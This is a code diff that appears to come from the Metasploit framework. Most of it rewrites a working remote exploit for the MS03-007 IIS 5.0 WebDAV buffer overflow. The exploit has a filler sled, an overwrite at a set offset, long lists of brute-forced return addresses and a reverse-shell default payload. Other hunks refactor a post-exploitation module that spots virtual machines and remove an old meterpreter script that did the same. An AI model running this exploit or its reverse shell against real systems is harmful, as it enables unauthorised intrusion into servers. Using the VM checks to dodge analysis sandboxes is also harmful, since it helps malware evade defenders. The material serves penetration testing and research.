@@ -9,37 +9,48 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
|
||||
'Description' => %q{
|
||||
This exploits a buffer overflow in NTDLL.dll on Windows 2000
|
||||
through the SEARCH WebDAV method in IIS. This particular
|
||||
module only works against Windows 2000. It should have a
|
||||
reasonable chance of success against any service pack.
|
||||
},
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2003-0109'],
|
||||
[ 'OSVDB', '4467'],
|
||||
[ 'BID', '7116'],
|
||||
[ 'MSB', 'MS03-007']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 512,
|
||||
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
||||
'StackAdjustment' => -3500,
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
|
||||
'Description' => %q{
|
||||
This exploits a buffer overflow in NTDLL.dll on Windows 2000
|
||||
through the SEARCH WebDAV method in IIS. This particular
|
||||
module only works against Windows 2000. It should have a
|
||||
reasonable chance of success against SP0 to SP3.
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic Brute Force', { } ],
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2003-0109'],
|
||||
['OSVDB', '4467'],
|
||||
['BID', '7116'],
|
||||
['PACKETSTORM', '30939'],
|
||||
['MSB', 'MS03-007']
|
||||
],
|
||||
'DisclosureDate' => '2003-05-30',
|
||||
'DefaultTarget' => 0))
|
||||
'Privileged' => false,
|
||||
'Payload' => {
|
||||
'Space' => 512,
|
||||
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86],
|
||||
'Targets' => [
|
||||
[ 'Automatic Brute Force', {} ],
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/shell/reverse_tcp'
|
||||
},
|
||||
'Notes' => {
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'Stability' => [CRASH_SERVICE_DOWN],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
},
|
||||
'DisclosureDate' => '2003-05-30',
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
|
||||
register_evasion_options(
|
||||
[
|
||||
@@ -48,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
# XXX - ugh, there has to be a better way to remove entries from an
|
||||
# enum that overwriting the evalable enum option
|
||||
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none'])
|
||||
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none', 'hex-normal'], 'none'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
@@ -61,125 +72,222 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# back to 80 for automated exploitation
|
||||
|
||||
rport = datastore['RPORT'].to_i
|
||||
if ( rport == 139 or rport == 445 )
|
||||
rport = 80
|
||||
if (rport == 139 || rport == 445)
|
||||
datastore['RPORT'] = 80
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def check
|
||||
url = 'x' * 65535
|
||||
xml =
|
||||
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
|
||||
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
|
||||
# Verify the service is running first
|
||||
res = send_request_raw({ 'uri' => '/' }, 5)
|
||||
return CheckCode::Safe('Connection failed') unless res
|
||||
|
||||
xml = "<?xml version=\"1.0\"?>\r\n"
|
||||
xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
|
||||
xml << "<g:sql>\r\n"
|
||||
xml << "Select \"DAV:displayname\" from scope()\r\n"
|
||||
xml << "</g:sql>\r\n"
|
||||
xml << "</g:searchrequest>\r\n"
|
||||
|
||||
response = send_request_cgi({
|
||||
'uri' => '/' + url,
|
||||
'ctype' => 'text/xml',
|
||||
'method' => 'SEARCH',
|
||||
'data' => xml
|
||||
'uri' => "/#{'x' * 65535}",
|
||||
'ctype' => 'text/xml',
|
||||
'method' => 'SEARCH',
|
||||
'data' => xml
|
||||
}, 5)
|
||||
|
||||
|
||||
if (response and response.body =~ /Server Error\(exception/)
|
||||
vprint_status("We've hit a server error (exception)")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
if response && response.body.to_s.include?('Server Error(exception')
|
||||
return CheckCode::Vulnerable("We've hit a server error (exception)")
|
||||
end
|
||||
|
||||
# Did the server stop acceping requests?
|
||||
# Request-URI Too Long
|
||||
if response && response.code == 414
|
||||
return CheckCode::Safe("The server returned #{response.code} (#{response.message})")
|
||||
end
|
||||
|
||||
# Did the server stop accepting requests?
|
||||
begin
|
||||
send_request_raw({'uri' => '/'}, 5)
|
||||
rescue
|
||||
vprint_status("The server stopped accepting requests")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
send_request_raw({ 'uri' => '/' }, 5)
|
||||
rescue StandardError
|
||||
return CheckCode::Appears('The server stopped accepting requests') unless res
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
# verify the service is running up front
|
||||
send_request_raw({'uri' => '/'}, 5)
|
||||
# Verify the service is running first
|
||||
res = send_request_raw({ 'uri' => '/' }, 5)
|
||||
fail_with(Failure::Unreachable, 'Connection failed') unless res
|
||||
|
||||
# The targets in the most likely order they will work
|
||||
targets =
|
||||
[
|
||||
# Almost Targetted :)
|
||||
"\x4f\x4e", # =SP3
|
||||
"\x41\x42", # ~SP0 ~SP2
|
||||
"\x41\x43", # ~SP1, ~SP2
|
||||
|
||||
# Generic Bruteforce
|
||||
"\x41\xc1",
|
||||
"\x41\xc3",
|
||||
"\x41\xc9",
|
||||
"\x41\xca",
|
||||
"\x41\xcb",
|
||||
"\x41\xcc",
|
||||
"\x41\xcd",
|
||||
"\x41\xce",
|
||||
"\x41\xcf",
|
||||
"\x41\xd0",
|
||||
# Common offsets
|
||||
common_offsets = [
|
||||
"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
|
||||
"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
|
||||
"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
|
||||
"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
|
||||
]
|
||||
|
||||
xml =
|
||||
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
|
||||
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
|
||||
# Generic Bruteforce - Windows 2000 Professional
|
||||
pro_offsets = [
|
||||
"\x41\xa8", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xa9", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xaa", # Windows 2000 Professional (SP1 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xab", # Windows 2000 Professional (SP1 AR)
|
||||
"\x41\xac", # Windows 2000 Professional (SP0 FI)
|
||||
"\x41\xad", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
|
||||
"\x41\xae", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
|
||||
"\x41\xaf",
|
||||
|
||||
"\x41\xb0",
|
||||
"\x41\xb1", # Windows 2000 Professional (SP0 EN)
|
||||
"\x41\xb2", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 PT)
|
||||
"\x41\xb3", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xb5", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP2 EN / SP2 FR / SP2 PT)
|
||||
"\x41\xb6", # Windows 2000 Professional (SP0 NL / SP1 AR / SP2 FR / SP2 PT)
|
||||
"\x41\xb7", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP1 AR / SP1 CZ / SP2 FR)
|
||||
"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
|
||||
"\x41\xb9", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 AR / SP2 FR / SP2 PT)
|
||||
"\x41\xba", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP2 FR)
|
||||
"\x41\xbb", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 PT)
|
||||
"\x41\xbc", # Windows 2000 Professional (SP0 FI / SP1 AR / SP2 FR)
|
||||
"\x41\xbd", # Windows 2000 Professional (SP0 FI / SP0 TR)
|
||||
"\x41\xbe", # Windows 2000 Professional (SP0 TR)
|
||||
"\x41\xbf", # Windows 2000 Professional (SP0 FI)
|
||||
]
|
||||
|
||||
# Generic Bruteforce - Windows 2000 Server
|
||||
server_offsets = [
|
||||
"\x4f\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
|
||||
"\x4f\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x4f\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x4f\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
|
||||
"\x4f\xc4", # Windows 2000 Server (SP2 EN)
|
||||
"\x4f\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
|
||||
"\x4f\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
|
||||
"\x4f\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
|
||||
"\x4f\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
|
||||
"\x4f\xc9", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x4f\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x4f\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP0 TR / SP1 EN / SP2 EN)
|
||||
"\x4f\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
|
||||
"\x4f\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP0 TR)
|
||||
"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x4f\xcf", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 EN / SP2 EN)
|
||||
|
||||
"\x4f\x40",
|
||||
"\x4f\x41",
|
||||
"\x4f\x42", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
|
||||
"\x4f\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
|
||||
"\x4f\x44",
|
||||
"\x4f\x45",
|
||||
"\x4f\x46",
|
||||
"\x4f\x47", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR)
|
||||
"\x4f\x48",
|
||||
"\x4f\x49",
|
||||
"\x4f\x4a",
|
||||
"\x4f\x4b",
|
||||
"\x4f\x4c",
|
||||
"\x4f\x4d",
|
||||
"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
|
||||
"\x4f\x4f",
|
||||
|
||||
"\x41\x40",
|
||||
"\x41\x41",
|
||||
"\x41\x42", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
|
||||
"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
|
||||
"\x41\x44",
|
||||
"\x41\x45",
|
||||
"\x41\x46",
|
||||
"\x41\x47", # Windows 2000 Server (SP0 ES / SP0 HU)
|
||||
"\x41\x48", # Windows 2000 Server (SP1 SE)
|
||||
"\x41\x49",
|
||||
"\x41\x4a",
|
||||
"\x41\x4b",
|
||||
"\x41\x4c",
|
||||
"\x41\x4d",
|
||||
"\x41\x4e",
|
||||
"\x41\x4f",
|
||||
|
||||
"\x41\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
|
||||
"\x41\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x41\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x41\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
|
||||
"\x41\xc4", # Windows 2000 Server (SP2 EN)
|
||||
"\x41\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
|
||||
"\x41\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
|
||||
"\x41\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
|
||||
"\x41\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
|
||||
"\x41\xc9", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x41\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x41\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
|
||||
"\x41\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
|
||||
"\x41\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 IT / SP0 HU / SP0 NL / SP0 PT / SP0 TR)
|
||||
"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
|
||||
"\x41\xcf", # Windows 2000 Server (SP0 DE / SP0 ES / SP0 NL / SP0 TR / SP1 EN / SP1 SE / SP2 EN)
|
||||
]
|
||||
|
||||
if datastore['InvalidSearchRequest']
|
||||
xml = rand_text(rand(1024) + 32)
|
||||
xml = rand_text(32..1056)
|
||||
else
|
||||
xml = "<?xml version=\"1.0\"?>\r\n"
|
||||
xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
|
||||
xml << "<g:sql>\r\n"
|
||||
xml << "Select \"DAV:displayname\" from scope()\r\n"
|
||||
xml << "</g:sql>\r\n"
|
||||
xml << "</g:searchrequest>\r\n"
|
||||
end
|
||||
|
||||
# The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'
|
||||
# This decodes to "inc ecx"
|
||||
url = 'A' * (65_516 - payload.encoded.length)
|
||||
url << payload.encoded
|
||||
|
||||
url = 'A' * 65516
|
||||
url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded
|
||||
offsets = common_offsets.concat(server_offsets).concat(pro_offsets).uniq
|
||||
|
||||
targets.each { |ret|
|
||||
|
||||
print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0])
|
||||
url[ 283, 2 ] = ret
|
||||
offsets.each_with_index do |ret, index|
|
||||
print_status("Trying return address #{format('0x%.8x', Rex::Text.to_unicode(ret).unpack('V*').first)} (#{index + 1} / #{offsets.length})...")
|
||||
url[283, 2] = ret
|
||||
|
||||
begin
|
||||
send_request_cgi({
|
||||
'uri' => '/' + url,
|
||||
'ctype' => 'text/xml',
|
||||
'method' => 'SEARCH',
|
||||
'data' => xml
|
||||
'uri' => "/#{url}",
|
||||
'ctype' => 'text/xml',
|
||||
'method' => 'SEARCH',
|
||||
'data' => xml
|
||||
}, 5)
|
||||
handler
|
||||
rescue => e
|
||||
rescue StandardError => e
|
||||
print_error("Attempt failed: #{e}")
|
||||
end
|
||||
|
||||
1.upto(8) { |i|
|
||||
select(nil,nil,nil,0.25)
|
||||
return if self.session_created?
|
||||
}
|
||||
|
||||
if !service_running?
|
||||
print_error('Giving up, IIS must have completely crashed')
|
||||
return
|
||||
1.upto(8) do |_i|
|
||||
select(nil, nil, nil, 0.25)
|
||||
break if session_created?
|
||||
end
|
||||
}
|
||||
|
||||
break if session_created?
|
||||
|
||||
fail_with(Failure::Unreachable, 'Giving up, IIS must have completely crashed') unless service_running?
|
||||
end
|
||||
end
|
||||
|
||||
# Try connecting to the server up to 20 times, with a two second gap
|
||||
# This gives the server time to recover after a failed exploit attempt
|
||||
def service_running?
|
||||
print_status('Checking if IIS is back up after a failed attempt...')
|
||||
1.upto(20) {|i|
|
||||
begin
|
||||
send_request_raw({'uri' => '/'}, 5)
|
||||
rescue
|
||||
print_error("Connection failed (#{i} of 20)...")
|
||||
select(nil,nil,nil,2)
|
||||
next
|
||||
end
|
||||
return true
|
||||
}
|
||||
return false
|
||||
1.upto(20) do |i|
|
||||
break if session_created?
|
||||
|
||||
return true if send_request_raw({ 'uri' => '/' }, 5)
|
||||
|
||||
print_error("Connection failed (#{i} of 20)...")
|
||||
select(nil, nil, nil, 2)
|
||||
end
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
@@ -60,13 +60,14 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
return true if registry_getvaldata('HKLM\HARDWARE\DESCRIPTION\System', 'SystemBiosVersion') =~ /vrtual/i
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
|
||||
return true if srvvals && srvvals.include?('VRTUAL')
|
||||
%w[HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
|
||||
srvvals = registry_enumkeys(key)
|
||||
return true if srvvals && srvvals.include?('VRTUAL')
|
||||
end
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
|
||||
return true if srvvals && srvvals.include?('VRTUAL')
|
||||
|
||||
return true if service_exists?('vmicexchange')
|
||||
%w[vmicexchange vmicheartbeat vmicshutdown vmicvss].each do |service|
|
||||
return true if service_exists?(service)
|
||||
end
|
||||
|
||||
key_path = 'HKLM\HARDWARE\DESCRIPTION\System'
|
||||
system_bios_version = registry_getvaldata(key_path, 'SystemBiosVersion')
|
||||
@@ -100,7 +101,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
def virtualpc?
|
||||
%w[vpc-s3 vpcuhub msvmmouf].each do |service|
|
||||
%w[vpc-s3 vpcbus vpcuhub msvmmouf].each do |service|
|
||||
return true if service_exists?(service)
|
||||
end
|
||||
|
||||
@@ -128,14 +129,10 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
end
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
|
||||
return true if srvvals && srvvals.include?('VBOX__')
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
|
||||
return true if srvvals && srvvals.include?('VBOX__')
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
|
||||
return true if srvvals && srvvals.include?('VBOX__')
|
||||
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
|
||||
srvvals = registry_enumkeys(key)
|
||||
return true if srvvals && srvvals.include?('VBOX__')
|
||||
end
|
||||
|
||||
key_path = 'HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0'
|
||||
return true if registry_getvaldata(key_path, 'Identifier') =~ /vbox/i
|
||||
@@ -159,14 +156,10 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
end
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
|
||||
return true if srvvals && srvvals.include?('Xen')
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
|
||||
return true if srvvals && srvvals.include?('Xen')
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
|
||||
return true if srvvals && srvvals.include?('Xen')
|
||||
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
|
||||
srvvals = registry_enumkeys(key)
|
||||
return true if srvvals && srvvals.include?('Xen')
|
||||
end
|
||||
|
||||
%w[xenevtchn xennet xennet6 xensvc xenvdb].each do |service|
|
||||
return true if service_exists?(service)
|
||||
@@ -182,14 +175,10 @@ class MetasploitModule < Msf::Post
|
||||
key_path = 'HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0'
|
||||
return true if registry_getvaldata(key_path, 'ProcessorNameString') =~ /qemu/i
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
|
||||
return true if srvvals && srvvals.include?('BOCHS_')
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
|
||||
return true if srvvals && srvvals.include?('BOCHS_')
|
||||
|
||||
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
|
||||
return true if srvvals && srvvals.include?('BOCHS_')
|
||||
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
|
||||
srvvals = registry_enumkeys(key)
|
||||
return true if srvvals && srvvals.include?('BOCHS_')
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
@@ -1,359 +0,0 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Meterpreter script for detecting if target host is a Virtual Machine
|
||||
# Provided by Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
# Version: 0.2.0
|
||||
session = client
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false,"Help menu." ]
|
||||
)
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine")
|
||||
print_line("USAGE: run checkvm")
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
# Function for detecting if it is a Hyper-V VM
|
||||
def hypervchk(session)
|
||||
begin
|
||||
vm = false
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ)
|
||||
sfmsvals = key.enum_key
|
||||
if sfmsvals.include?("Hyper-V")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
elsif sfmsvals.include?("VirtualMachine")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("vmicheartbeat")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vmicvss")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vmicshutdown")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vmicexchange")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
# Function for checking if it is a VMware VM
|
||||
def vmwarechk(session)
|
||||
vm = false
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("vmdebug")
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vmmouse")
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VMTools")
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VMMEMCTL")
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
|
||||
if key.query_value('Identifier').data.downcase =~ /vmware/
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
vmwareprocs = [
|
||||
"vmwareuser.exe",
|
||||
"vmwaretray.exe"
|
||||
]
|
||||
vmwareprocs.each do |p|
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if p == (x['name'].downcase)
|
||||
print_status("This is a VMware Virtual Machine") if not vm
|
||||
vm = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
key.close
|
||||
return vm
|
||||
|
||||
end
|
||||
# Function for checking if it is a Virtual PC VM
|
||||
def checkvrtlpc(session)
|
||||
vm = false
|
||||
vpcprocs = [
|
||||
"vmusrvc.exe",
|
||||
"vmsrvc.exe"
|
||||
]
|
||||
vpcprocs.each do |p|
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if p == (x['name'].downcase)
|
||||
print_status("This is a VirtualPC Virtual Machine") if not vm
|
||||
vm = true
|
||||
end
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("vpcbus")
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vpc-s3")
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vpcuhub")
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("msvmmouf")
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
def vboxchk(session)
|
||||
vm = false
|
||||
vboxprocs = [
|
||||
"vboxservice.exe",
|
||||
"vboxtray.exe"
|
||||
]
|
||||
vboxprocs.each do |p|
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if p == (x['name'].downcase)
|
||||
print_status("This is a Sun VirtualBox Virtual Machine") if not vm
|
||||
vm = true
|
||||
end
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("VBOX__")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
